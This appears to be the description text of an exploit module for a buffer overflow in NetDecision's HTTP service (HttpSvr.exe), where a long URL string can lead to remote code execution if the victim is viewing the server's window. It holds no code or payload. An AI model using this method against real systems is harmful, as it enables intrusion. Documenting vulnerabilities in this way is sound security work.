|
|
This module exploits a vulnerability found in NetDecision's HTTP service
|
|
(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a
|
|
long string of data to the URL, an overflow may occur if the data gets handled
|
|
by HTTP Server's active window. In other words, in order to gain remote code
|
|
execution, the victim is probably looking at HttpSvr's window.
